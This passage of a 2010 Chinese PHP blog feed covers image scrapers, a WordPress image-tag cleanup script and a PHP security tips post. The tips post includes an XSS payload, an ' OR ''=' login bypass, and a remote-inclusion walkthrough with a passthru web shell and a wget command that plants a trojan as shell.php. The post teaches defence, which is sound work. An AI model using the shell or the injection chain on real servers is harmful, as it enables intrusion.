<span class="readmore"><a href="http://www.rainmoe.com/2010/01/14/photobucket-downloader/" title="Photobucket抓取图片下载程序">阅读全文——共734字</a></span>]]></description>
			<content:encoded><![CDATA[<p>> 最近小邪抓取抓上瘾鸟，感觉 Curl 与 正则式 的组合很爽，╮(╯▽╰)╭，拦都拦不住自己呐。<br />
> 所以今天小邪要送大家一个 Photobucket 抓取程序，可以很方便地抓取整个相册喔。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Capture1141.jpg' /></p>
<p>> 程序的运行过程是这个样子的，先读取相册页面，然后用正则式找到文件名与地址。<br />
> 最后用 set_time_limit(0) 设置防止超时，并用 File_get_contents 函数把图片下载下来。</p>
<p><span id="more-1898"></span><strong>一. PBK Downloader 程序简介：</strong></p>
<p>> 在变量 album_url 里填上相册地址，然后在变量 album_pagen 里填上页数即可。<br />
> 程序会自动生成一个 Img 文件夹，并将图片下载到里面，就完成咯，O(∩_∩)O 嘻嘻！</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
$album_url = 'http://photobucket.com/images/avatar%20movie/'; //相册
$album_pagen = 1; //页数
</pre>
<p><strong>二. 抓取实例：</strong></p>
<p>> 相册地址 - <a target='_blank' rel='nofollow' href='http://photobucket.com/images/avatar%20movie/'>http://photobucket.com/images/avatar%20movie/</a></p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Capture1140.jpg' /></p>
<p>> 呵呵，小邪在页数那里只填了1页，然后就抓取下来咯。小邪文件名前面加了序号来着。<br />
> 因为有些图片名字相同，但是内容却是不同的，所以这样子防止出现漏掉文件。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Capture1143.jpg' /></p>
<p><strong>三. 源代码：</strong></p>
<p>> 把下面两个变量填一下就好，小邪已经把超时设置为无限，但是如果出现意外状况。<br />
> 直接刷新接着来就好，程序如果发现已经下载了就不会下第二遍咯，O(∩_∩)O。</p>
<p>> <a target='_blank' rel='nofollow' href='http://code.google.com/p/evlosbox/downloads/detail?name=pbk_getpic.txt&#038;can=2&#038;q='>http://code.google.com/p/evlosbox/downloads/detail?name=pbk_getpic.txt</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.rainmoe.com/2010/01/14/photobucket-downloader/feed/</wfw:commentRss>
		<slash:comments>112</slash:comments>
		</item>
		<item>
		<title>简单讲解一下PHP编程的安全要点</title>
		<link>http://www.rainmoe.com/2010/01/11/safety-tips-for-php/</link>
		<comments>http://www.rainmoe.com/2010/01/11/safety-tips-for-php/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 18:35:51 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[探索 [Explore]]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[safe]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1895</guid>
		<description><![CDATA[> PHP 的代码安全一直是一个重点，我们需要在存储数据的之前过滤，需要在读取之后转义。

> 以防范有可能出现的攻击。看这个图，人民网微博上线没多久就杯具鸟，╮(╯▽╰)╭。



<span class="readmore"><a href="http://www.rainmoe.com/2010/01/11/safety-tips-for-php/" title="简单讲解一下PHP编程的安全要点">阅读全文——共1814字</a></span>]]></description>
			<content:encoded><![CDATA[<p>> PHP 的代码安全一直是一个重点，我们需要在存储数据的之前过滤，需要在读取之后转义。<br />
> 以防范有可能出现的攻击。看这个图，人民网微博上线没多久就杯具鸟，╮(╯▽╰)╭。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/renminwang001.jpg' /></p>
<p>> 最近又出现了 Phpwind 的几个漏洞，WP2.7 也有出现漏洞，QQMail 也出现XSS。<br />
> P.s. 最近看了《神话》，吕素居然就这样挂了，杯具啊杯具，受不鸟，都不想继续看了。 </p>
<p><span id="more-1895"></span><strong>一. PHP的一些安全要点：</strong></p>
<p><strong>1. 表单数据转意：</strong></p>
<p>> 一般来说，我们如果需要输出获取到的表单数据，输出之前一定要记得转义才好。<br />
> 如果没有转义的话，就会出现漏洞，比如XSS。假设有一个未进行转义的留言本程序。<br />
> 我们在一个输入框中写入以下的代码，代码是JS的一个警告窗口弹出效果。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;script&gt;alert('站点已被占领 by XXX黑客团队')&lt;/script&gt;
</pre>
<p>> 这样当大家浏览到这个留言本页面的时候就会弹出一个灰常简单又牛叉的窗口，哈哈。<br />
> 比如下面这个是人民网微博闹出来的一个大乌龙，人民微博一上线就被群体爆菊了。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/renminwang002.jpg' /></p>
<p>> 所以，我们需要将 "< " ">" 等一些被执行的入侵代码中包含的字符进行转义。<br />
> 所以我们就需要用到函数 htmlspecialchars，很帅的函数 O(∩_∩)O。<br />
> 这个函数会影响到的字符如下，这样子处理就可以正常查看而且不会被执行啦。</p>
<pre class="brush: python; auto-links: false; html-script: false; title: ; notranslate">
&gt; 1 - &amp; （和号） 成为 &amp;amp;
&gt; 2 - &quot; （双引号） 成为 &amp;quot;
&gt; 3 - ' （单引号） 成为 &amp;#039;
&gt; 4 - &lt; （小于） 成为 &amp;lt;
&gt; 5 - &gt; （大于） 成为 &amp;gt;

&gt; 1 - ENT_COMPAT - 默认。仅编码双引号
&gt; 2 - ENT_QUOTES - 编码双引号和单引号
&gt; 3 - ENT_NOQUOTES - 不编码任何引号
</pre>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
//嘻嘻，用法就应该像下面这个样子呢。
echo htmlspecialchars($_GET['psw'], ENT_QUOTES);
</pre>
<p><strong>2. 远程包含漏洞：</strong></p>
<p>> 远程包含漏洞出现在 include() require() include_once() require_once() 中。<br />
> 因为这几个函数是可以像下面这个例子一样执行代码的，灰常牛叉的一种功能。</p>
<p>> 这是一个 Phpwind 爆出的漏洞，文件在 apps/groups/index.php。<br />
> 而出现的原因则是变量未初始化，$route 和 $basePath 都没有初始化。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;?php
if ($route == &quot;groups&quot;) {
require_once $basePath . '/action/m_groups.php';
} elseif ($route == &quot;group&quot;) {
require_once $basePath . '/action/m_group.php';
} elseif ($route == &quot;galbum&quot;) {
require_once $basePath . '/action/m_galbum.php';
}
</pre>
<p>> 我们影响变量的值使其包含 http://www.evlos.org/action/m_galbum.php。<br />
> 一般来说远程包含PHP文件是需要不支持PHP的空间的，因为支持的话就会包含失败。<br />
> 也就是说，如果可以的话，远程包含一般是包含 m_galbum.txt 这样的文件。<br />
> 所以不支持PHP的空间显示PHP文件的时候，会直接显示源代码的，就等同于文本。</p>
<p><strong>3. 如何利用远程包含漏洞：</strong></p>
<p>> 简单举一个例子，我们把下面的文件保存为 command.txt 文件假设地址如下。<br />
> 类型为纯文本即可。http://tool.evlos.org/file/command.txt。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;?php
if (get_magic_quotes_gpc()) {
  $_REQUEST[&quot;cmd&quot;]=stripslashes($_REQUEST[&quot;cmd&quot;]);
}
ini_set(&quot;max_execution_time&quot;,0);
passthru($_REQUEST[&quot;cmd&quot;]);
?&gt;
</pre>
<p>> 假设出现漏洞的文件是这个傻傻的样子，代码如下，O(∩_∩)O 嘎嘎。<br />
> 同时假设地址为 - http://tool.evlos.org/file/index.php。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;?php
  include $_GET['test'];
?&gt;
</pre>
<p>> 假设木马地址为 - http://tool.evlos.org/file/mm.txt<br />
> 在 Linux 主机上面我们就可以在地址栏输入以下代码将木马传到目标主机上。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
http://tool.evlos.org/file/index.php?test=
http://tool.evlos.org/file/command.txt?cmd=
wget http://tool.evlos.org/file/mm.txt -O shell.php
</pre>
<p><strong>4. SQL 输入转义：</strong></p>
<p>> 过滤了 $_GET $_POST $_COOKIE 几个常见的输入来源之后。<br />
> 我们也要用 mysql_real_escape_string 函数来保护 Mysql 数据库。<br />
> 这是一个简单的防注入技巧，代码如下，这个样子就可以咯。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;?php
$sqlc = &quot;UPDATE users SET
  name='.mysql_real_escape_string($user).'
  WHERE id='.mysql_real_escape_string($id).'&quot;;
mysql_query($sqlc);
?&gt;
//受影响的字符　\x00　\n　\r　\　'　&quot;　\x1a
</pre>
<p>> 假设未进行保护，那么就会有可能出现最熟悉的 “or=” Mysql 注入漏洞了。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;?php
mysql_connect(&quot;localhost&quot;, &quot;hello&quot;, &quot;321&quot;);
$sql = &quot;SELECT * FROM users
WHERE user='{$_POST['user']}'
AND password='{$_POST['pwd']}'&quot;;
mysql_query($sql);

// 假设传输过来的数据像下面这个样子。
// $_POST['user'] = 'john';
// $_POST['pwd'] = &quot;' OR ''='&quot;;
?&gt;
</pre>
<p><strong>二. 睡觉去咯：</strong></p>
<p>> 今天看到一个阿三的演讲，描绘了虚拟现实世界结合的完美生活，灰常鸡冻。<br />
> 开一个叫兽处的传送门 - <a target='_blank' rel='nofollow' href='http://www.chunbaba.net/blog/?p=554'>http://www.chunbaba.net/blog/?p=554</a></p>
<p>> Phpwind 7.5 的漏洞和 WordPress 2.7 的漏洞，它们的详细信息在这里。<br />
> 开俩传送门 - <a target='_blank' rel='nofollow' href='http://www.80vul.com/pwvul/phpwind.txt'>http://www.80vul.com/pwvul/phpwind.txt</a><br />
> 还有WP的门 - <a target='_blank' rel='nofollow' href='http://www.80vul.com/exp/wordpress.txt'>http://www.80vul.com/exp/wordpress.txt</a></p>
<p>> 最近搜狐上线的搜搜舞文弄墨服务，可以生成藏头诗和层层递进的诗，嘿嘿嘿。<br />
> 传送门 - <a target='_blank' rel='nofollow' href='http://labs.soso.com/app.q?app=makepoem'>http://labs.soso.com/app.q?app=makepoem</a></p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Capture1113.png' /></p>
<p>> <img src='/apps/smiles/icon_smile.gif' alt=':smile:' class='wp-smiley' />  好咯，小邪就讲解到这里了，好多童鞋都觉得小邪的文章太长了呢。<br />
> 所以小邪以后会尽量短小精悍一点，囧，貌似这篇文章还是有点长。<br />
> 那么祝愿有兴趣阅读的盆友坚挺一点儿，小邪又要去睡觉罗 Zzzz 晚安呐。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rainmoe.com/2010/01/11/safety-tips-for-php/feed/</wfw:commentRss>
		<slash:comments>94</slash:comments>
		</item>
		<item>
		<title>如何抓取Flickr相片集中的图片URL</title>
		<link>http://www.rainmoe.com/2010/01/10/get-the-files-and-urls-from-flickr/</link>
		<comments>http://www.rainmoe.com/2010/01/10/get-the-files-and-urls-from-flickr/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 18:13:45 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[作品 [Work]]]></category>
		<category><![CDATA[curl]]></category>
		<category><![CDATA[flickr]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1893</guid>
		<description><![CDATA[> 最近小邪准备把博客的图片地址都换成 Flickr 上面的图片地址，所以需要用抓取来节省时间。

> 恩恩，纯粹是节省时间，抓取对很多盆友都是不好的事情，小邪的站也被抓过，很杯具。



<span class="readmore"><a href="http://www.rainmoe.com/2010/01/10/get-the-files-and-urls-from-flickr/" title="如何抓取Flickr相片集中的图片URL">阅读全文——共3124字</a></span>]]></description>
			<content:encoded><![CDATA[<p>> 最近小邪准备把博客的图片地址都换成 Flickr 上面的图片地址，所以需要用抓取来节省时间。<br />
> 恩恩，纯粹是节省时间，抓取对很多盆友都是不好的事情，小邪的站也被抓过，很杯具。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Capture1105.jpg' /></p>
<p>> 那么，在这里小邪就讲解一下如何使用 PHP 的 CURL 函数和正则式抓取 Flickr 的图片。<br />
> 首先用 Curl 带 Cookies 地抓页面代码，然后用正则分离出图片Code，最后得到大尺寸地址。</p>
<p><span id="more-1893"></span>> Rencently, Evlos prepare to change the image urls in my article to the image urls in Flickr.<br />
> So, I think I should use php program to catch urls in Flickr for saving time.<br />
> Um .. Just for saving time, curl isn't a good tools for lots of people.<br />
> Because it can get the whole data in website and make a mirror site for gaining money.<br />
> And I suffered this last month, it's a tragedy.</p>
<p>> First of all, use curl get the html data. We should post some cookies in same time.<br />
> Then use regex to get the code for images. At last, we use image code to get image url.</p>
<p><strong>一. 分析一下地址 Analyse url：</strong></p>
<p><strong>1. 用户地址 User url -</strong></p>
<p>> http://www.flickr.com/photos/46051661@N04<br />
> 比如小邪的用户地址就是这个样子的，很规则，处理有规则的东西是最方便的鸟。</p>
<p>> For example, this is my album url. It's very regular and can easy to deal with it.</p>
<p><strong>2. 相片集地址 Album url -</strong></p>
<p>> http://www.flickr.com/photos/46051661@N04/sets/72157623167782492<br />
> 恩恩，后面是一个 Sets 表示相片集，然后是相片集本身的 Code。<br />
> 小邪喜欢把这些唯一性的字符称为 Code，呵呵，这样比较好说一点儿。</p>
<p>> Um .. It contains a sets code rearward and a user code in der mitte.<br />
> Evlos like called the unique character as code. Haha, it's easily explained.</p>
<p><strong>3. 单张相片地址 Single image url -</strong></p>
<p>> http://www.flickr.com/photos/46051661@N04/4259923860/<br />
> http://www.flickr.com/photos/46051661@N04/4259923860/in/set-72157623167782492<br />
> 嘎嘎，有两种，其实都是一模一样的页面来着，所以咱挑上面的短的。</p>
<p>> <img src='/apps/smiles/icon_smile.gif' alt=':)' class='wp-smiley' /> , Flickr offer two kinds of url, but it will heading us to a same page.<br />
> So, certainly, we choose the shorter url.</p>
<p><strong>4. 单张相片大尺寸地址 Single image url for big size -</strong></p>
<p>> http://www.flickr.com/photos/46051661@N04/4259923860/sizes/o/<br />
> 一般来说小邪的 600px 宽度，高度在 600px 以下的，都用地址 O 来查看全图的。<br />
> http://www.flickr.com/photos/46051661@N04/4259923860/sizes/l/<br />
> 因为 Flickr 不提供大图全图，而 L 是图片尺寸过大后被裁减的地址，所以只好用 L 咯。<br />
> 嘎嘎，还有四个尺寸，依次减小，这样子 - M S T SQ，OK可以开工了。</p>
<p>> In general, my image is limit in 600px and i can get the full size by "o".<br />
> Bacause Flickr limit the size of image by 1024px for free users.<br />
> And "L" is a code for the image exceed 1024px and offer 1024px image.<br />
> Haha, and the remaining four size. Like M S T SQ, so let's beginning. </p>
<p><strong>二. 开始抓取 Begin to catch：</strong></p>
<p><strong>1. 抓取相片 Code 代码 Catch the code of image：</strong></p>
<p>> $sa[0] 里面储存的是相片的 Code，$sa[1] 储存的是相片的标题。<br />
> 而 $sa[2][0] 储存的是相片个数，因为这里是二维数组，小邪不想要 Foreach。<br />
> 虽然双层 Foreach 可以遍历二维数组，不过这里只需要作为两个一维数组就好。</p>
<p>> Put the codes of image in $sa[0]. And put the title of image in $sa[1].<br />
> And put the numbers of images into $sa[2][0], bacause it's 2d array.<br />
> And Evlos don't want to use foreach. Though i can use double-layer foreach.<br />
> I just need to use two 1d array, it's enough.</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
function app_get_set_info($data) {
	$regex = &quot;%\/photos\/46051661@N04\/(\d+)\/in\/set\-\d+\/\&quot;
title=\&quot;([a-z0-9A-Z-_]*)\&quot; class%i&quot;;
	preg_match_all($regex,$data,$save);
	$sa[0] = $save[1];
	$sa[1] = $save[2];
	$sa[2][0] = array_count($save[1]);
	return $sa;
}
</pre>
<p>> $save[1] 是储存第一个括号中匹配内容的数组，而 $save[2] 则是第二个括号的。<br />
> 那么还有一个，是 $save[0]，这个当然就是整串正则式匹配的字符咯，O(∩_∩)O。</p>
<p>> We put the content in firstly bracket into $save[1].<br />
> And the same meaning to content in secendly bracket.<br />
> So, the $save[0] is use to putting the whole content that get by regex.</p>
<p><strong>2. 抓取图片地址：</strong></p>
<p>> 恩，这里整个页面也就一张 JPG 或者 PNG 的大图了（页面元素是 GIF）。<br />
> 所以咱们这样子抓下来。╮(╯▽╰)╭，可怜的 Flickr，被偶剥得半裸了。<br />
> 嘎嘎，差不多就 619 那根全裸男一样了（619 童鞋一定要小邪给他开个裸奔帝国<a target='_blank' rel='nofollow' href='http://liuyijun.com/'>传送门</a>）。</p>
<p>> Um .. The whole image page is just include one jpg or one png url.<br />
> So we can easily get it by regex like the following content.</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
function app_get_ourl($data) {
	$pagelist_regex = &quot;%&lt;img src=\&quot;(.+.jpg)\&quot;%i&quot;;
	preg_match_all($pagelist_regex,$data,$save);
	//print_r($save);
	if (!isset($save[1][0])) {
		$pagelist_regex = &quot;%&lt;img src=\&quot;(.+.png)\&quot;%i&quot;;
		preg_match_all($pagelist_regex,$data,$save);
	}
	return $save[1];
}
</pre>
<p><strong>3. 带 Cookies 的 Curl：</strong></p>
<p>> 因为登陆后在相片集页面可以看到全部照片，所以咱们用 Curl 把  Cookies 传过去。<br />
> 嘎嘎，老样子，大家都喜欢模拟 FF 的访问头部。然后是一些必要的参数。</p>
<p>> Because if we login, we can see the all images in set page.<br />
> So we post the cookies to Flickr, and get the html code.<br />
> Haha .. Same as ever, we like simulate the header of firefox.</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
function app_get_html($url,$cookie='') {
	$curl = curl_init($url);
	$useragent=&quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1&quot;;
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
	curl_setopt ($curl, CURLOPT_USERAGENT, $useragent);
	if ($cookie&lt;&gt;'') {
		curl_setopt ($curl, CURLOPT_COOKIE, $cookie);
	}
	$data = curl_exec($curl);
	curl_close($curl);
	return $data;
}
// 用法如下，Cookies 信息麻烦自行找到，小邪太懒了╮(╯▽╰)╭。
// The example method like the following content. Please get the cookies by yourself.
app_get_html('http://www.flickr.com/photos/46051661@N04/sets/72157623167782492',
$cookie='cookie_accid=16212532;cookie_epass=816e23c7b24aa6q9f13713e7503de07f;')
</pre>
<p><strong>4. 程序运行过程 The process of running：</strong></p>
<p>> 首先麻烦自行搞到 Flickr 的 Cookies，然后把相片集页面包含的相片 Code 全部抓取来。<br />
> 保存到数据库之类的地方（因为咱们可能会经常超时），一条一条读取数据库中保存的 Code。</p>
<p>> 然后获取图片页面中的 Url，保存到数据库，如果 Url 已经储存就不去抓取了。<br />
> 因为 100% 会出现超时，所以得这样，然后到时候刷新下接着干就好了，嘿嘿。</p>
<p>> 请原谅小邪没有把完整源代码贴出来，因为怕引起 Flickr 官方的注意，虽然可能性不会很大。<br />
> 但是还是小心一点儿为好。而且全部的主要代码已经贴出来了，储存数据库相信你能搞定的。<br />
> 呵呵，时间又到两点多钟了，小邪很想睡觉鸟 Zzzzzzzzzz 晚安喔，小邪这就去把床给上了。</p>
<p>> First of all, get the cookies for yourself. Then get the codes for images.<br />
> Save them into database or something like that. And read data one by one.</p>
<p>> Get the url for single image file and save to db, if it's exist, just skip up.<br />
> Beacuse we will reach the time excceed. So just need to refresh the page.</p>
<p><strong>三. 这难道是水军路过？！：</strong></p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Capture1104.jpg' /></p>
<p>> 截图留念，╮(╯▽╰)╭，人家都是拍照留念，但小邪没事最喜欢截图留念了。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rainmoe.com/2010/01/10/get-the-files-and-urls-from-flickr/feed/</wfw:commentRss>
		<slash:comments>117</slash:comments>
		</item>
		<item>
		<title>使用正则式整理数据库中IMG标签</title>
		<link>http://www.rainmoe.com/2010/01/05/use-regex-to-clear-the-mix-of-tag-img/</link>
		<comments>http://www.rainmoe.com/2010/01/05/use-regex-to-clear-the-mix-of-tag-img/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 16:40:35 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[作品 [Work]]]></category>
		<category><![CDATA[img]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[regex]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1887</guid>
		<description><![CDATA[> 小邪最近因为流量紧缺启用了防盗链系统来着，所以为了保证防盗警示图片的大小正常。

> 只好把所有图片的 IMG 标签中除了 SRC 指向图片的 URL 属性以外，其他全部清除。



<span class="readmore"><a href="http://www.rainmoe.com/2010/01/05/use-regex-to-clear-the-mix-of-tag-img/" title="使用正则式整理数据库中IMG标签">阅读全文——共1129字</a></span>]]></description>
			<content:encoded><![CDATA[<p>> 小邪最近因为流量紧缺启用了防盗链系统来着，所以为了保证防盗警示图片的大小正常。<br />
> 只好把所有图片的 IMG 标签中除了 SRC 指向图片的 URL 属性以外，其他全部清除。</p>
<p><img src="http://www.rainmoe.com/wp-content/uploads/old/Capture1056.jpg" /></p>
<p>> 因为国内网上的正则式教程十分紧缺，只能找到少量的教程，有时候很难学习全面。<br />
> 所以小邪也只能按照自己多次的测试得出的结果来稍微讲解一下呢，能学多少就看你的咯。</p>
<p><span id="more-1887"></span><strong>一. 有关正则式的函数分类：</strong></p>
<p>> <strong>正则表达式函数库（Perl 兼容）</strong>-</p>
<p>> preg_grep --  返回与模式匹配的数组单元<br />
> preg_match_all -- 进行全局正则表达式匹配<br />
> preg_match -- 进行正则表达式匹配<br />
> preg_quote -- 转义正则表达式字符<br />
> preg_replace_callback -- 用回调函数执行正则表达式的搜索和替换<br />
> preg_replace -- 执行正则表达式的搜索和替换<br />
> preg_split -- 用正则表达式分割字符串</p>
<p>> <strong>正则表达式函数库（POSIX 扩展）</strong>-</p>
<p>> ereg_replace -- 替换正则表达式<br />
> ereg -- 正则表达式匹配<br />
> eregi_replace -- 不区分大小写替换正则表达式<br />
> eregi -- 不区分大小写的正则表达式匹配<br />
> split -- 用正则表达式将字符串分割到数组中<br />
> spliti --  用正则表达式不区分大小写将字符串分割到数组中<br />
> sql_regcase --  产生用于不区分大小的匹配的正则表达式</p>
<p>> 这两组函数库提供了对 POSIX 和 PERL 两种风格的正则表达式的支持。<br />
> 区别不大，PERL 的表达式两边要加上 “/”，而且据说 PERL 运行效率高一点。</p>
<p><strong>二. 程序运行LOG日志记录：</strong></p>
<p>> 呵呵，这个是程序运行的时候会陆续输出的运行记录，方便检查。<br />
> 第一次运行的时候像下面这样，然后刷新，被替换和替换为的数据会变成相同的。<br />
> 这样就表示替换成功了，恭喜发财，嘿嘿嘿 O(∩_∩)O。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
Post Id =&gt; 1864
//正在被替换的数据库中文章的ID
&lt;img src=&quot;http://www.evlos.org/uploads/1451_020.jpg&quot;
 class=&quot;alignnone&quot; width=&quot;600&quot; height=&quot;437&quot; /&gt;
//在数据库中的文章表里面查找到的IMG标签
&lt;img src=&quot;http://www.evlos.org/uploads/1451_020.jpg&quot; /&gt;
//将要被替换成为的精简过的IMG标签
ID Count : 1
//此文章中的图片数量统计
Success ~!
//成功更新了Mysql数据库中的数据

Post Id =&gt; 1875
&lt;img src=&quot;http://www.evlos.org/uploads/1451_031.jpg&quot;
 class=&quot;alignnone&quot; width=&quot;600&quot; height=&quot;235&quot; /&gt;
&lt;img src=&quot;http://www.evlos.org/uploads/1451_031.jpg&quot; /&gt;
&lt;img src=&quot;http://www.evlos.org/uploads/1451_030.jpg&quot;
 class=&quot;alignnone&quot; width=&quot;600&quot; height=&quot;156&quot; /&gt;
&lt;img src=&quot;http://www.evlos.org/uploads/1451_030.jpg&quot; /&gt;
&lt;img src=&quot;http://www.evlos.org/uploads/1451_031.jpg&quot;
 class=&quot;alignnone&quot; width=&quot;600&quot; height=&quot;235&quot; /&gt;
&lt;img src=&quot;http://www.evlos.org/uploads/1451_031.jpg&quot; /&gt;
&lt;img src=&quot;http://www.evlos.org/uploads/1451_028.jpg&quot;
 class=&quot;alignnone&quot; width=&quot;600&quot; height=&quot;186&quot; /&gt;
&lt;img src=&quot;http://www.evlos.org/uploads/1451_028.jpg&quot; /&gt;
&lt;img src=&quot;http://www.evlos.org/uploads/1451_029.jpg&quot;
 class=&quot;alignnone&quot; width=&quot;600&quot; height=&quot;246&quot; /&gt;
&lt;img src=&quot;http://www.evlos.org/uploads/1451_029.jpg&quot; /&gt;
ID Count : 5
Success ~!

-------------------
Count : 296 //整个WP_posts表中，所有的的图片总数
</pre>
<p><strong>三. 程序源代码：</strong></p>
<p>>  以下内容保存为任意名称的 PHP 文件，填好配置，运行即可。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;?php
$sqlc_host = &quot;localhost&quot;; //Mysql服务器地址
$sqlc_user = &quot;&quot;; //用户名
$sqlc_psw = &quot;&quot;; //密码
$sqlc_dba = &quot;wordpress&quot;; //数据库名
echo '&lt;html&gt;&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;
&lt;title&gt;Img标签批量清洗程序&lt;/title&gt;
&lt;/head&gt;&lt;body&gt;';
$img_count = 0;
$sqlc_con = mysql_connect($sqlc_host,$sqlc_user,$sqlc_psw);
mysql_select_db($sqlc_dba,$sqlc_con);
mysql_query(&quot;set names UTF8&quot;);
$sqlc_inner = mysql_query(&quot;SELECT * FROM wp_posts&quot;);
while($sqlc_row = mysql_fetch_array($sqlc_inner)) {
	$cid = $sqlc_row['ID'];
	echo &quot;&lt;br /&gt;\n&quot;.'Post Id =&gt; '.$cid.&quot;&lt;br /&gt;\n&quot;;
	$img_change = $sqlc_row['post_content'];
	$img_preg = '/&lt;img src=[^&gt;]+&gt;/';
	preg_match_all($img_preg,$img_change,$img_find);
	$img_count_id = $img_count;
	foreach ($img_find[0] as $value) {
		$img_count++;
		$value_echo = str_ireplace('&lt;','&amp;lt;',$value);
		$value_echo = str_ireplace('&gt;','&amp;gt;',$value_echo);
		echo $value_echo.&quot;&lt;br/&gt;\n&quot;;
		preg_match(&quot;(http://.+\.(jpg|png|JPG|PNG))&quot;,$value,$img_url);
		if (isset($img_url[0])) {
			$result = '&lt;img src=&quot;'.$img_url[0].'&quot; /&gt;';
		}
		else {
			$result = '';
		}
		$result_echo = str_ireplace('&lt;','&amp;lt;',$result);
		$result_echo = str_ireplace('&gt;','&amp;gt;',$result_echo);
		echo $result_echo.&quot;&lt;br/&gt;\n&quot;;
		str_ireplace(&quot;\n&quot;,&quot;&quot;,$value);
		if ($result &lt;&gt; '&lt;img src=&quot;&quot; /&gt;'&amp;&amp;$cid &lt;&gt; 1887&amp;&amp;$result &lt;&gt; '') {
			$img_change = str_ireplace($value,$result,$img_change);
		}
	}
	echo 'ID Count : '.($img_count - $img_count_id).&quot;&lt;br/&gt;\n&quot;;
	$img_change = addslashes($img_change);
	$change = $img_change;
	if (mysql_query(&quot;update wp_posts set post_content='&quot;.$change.&quot;' where id=&quot;.$cid.&quot;&quot;)) {
		echo 'Success ~!';
	}
	else {
		echo &quot;Error : &quot; . mysql_error();
	}
}
echo '&lt;br/&gt;-------------------&lt;br/&gt;Count : '.$img_count;
echo '&lt;/body&gt;&lt;/html&gt;';
mysql_close($sqlc_con);
?&gt;</pre>
<p><strong>四. 程序运行原理：</strong></p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
mysql_query(&quot;set names UTF8&quot;);
//这里将数据库查询时候的字符集设定为 UTF-8，否则得到的数据会是乱码

$img_preg = '/&lt;img src=[^&gt;]+&gt;/';
preg_match_all($img_preg,$img_change,$img_find);
//这里使用正则式将 IMG 标签全部找出来，并把整个标签放到 $img_find 变量里

preg_match(&quot;(http://.+.(jpg|png))&quot;,$value,$img_url);
//这里把 IMG 标签之中的 URL 提取出来

$result = '&lt;img src=&quot;'.$img_url[0].'&quot; /&gt;';
if ($result &lt;&gt; '&lt;img src=&quot;&quot; /&gt;') {
	$img_change = str_ireplace($value,$result,$img_change);
}
//这里把提取之后重新组合的 IMG 标签替换进去

$img_change = addslashes($img_change);
//小邪觉得这个是亮点，这个函数能够让我们把 HTML 代码顺利存储到数据库
</pre>
<p><strong>五. 程序中使用过的正则式：</strong></p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
$img_preg = &quot;/&lt;img src=[^&gt;]+&gt;/&quot;;
</pre>
<p>> 找到以首先找到 IMG 标签的头部，然后后面的中括号里是一个条件。<br />
> 条件表达的是，这里跟着的字符是除了右尖括号以外的字符。<br />
> 右中括号的后边是个加号，意思是 “重复一次或更多次”。<br />
> 最后以右尖括号作为结尾，这样子就可以捕捉 IMG 标签咯。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
$img_url_preg = &quot;(http://.+.(jpg|png))&quot;
</pre>
<p>> 首先这里两边要用括号，表示包含分枝条件。然后找到以 HTTP:// 开头的字符。<br />
> 接着用 “.” 表示 “匹配除换行符以外的任意字符”，然后用加号标示重复次数。<br />
> 加一个斜杠标示转义字符，就是说后面那个点是普通字符，不是正则式的内容。<br />
> 然后加个括号，里面是分枝条件，标示最后是以 jpg 或者 png 结尾的。</p>
<p><strong>六. 常用的正则式语法：</strong></p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
.	匹配除换行符以外的任意字符
w	匹配字母或数字或下划线或汉字
s	匹配任意的空白符
d	匹配数字
	匹配单词的开始或结束
^	匹配字符串的开始
$	匹配字符串的结束

*	重复零次或更多次
+	重复一次或更多次
?	重复零次或一次
{n}	重复n次
{n,}	重复n次或更多次
{n,m}	重复n到m次

W	匹配任意不是字母，数字，下划线，汉字的字符
S	匹配任意不是空白符的字符
D	匹配任意非数字的字符
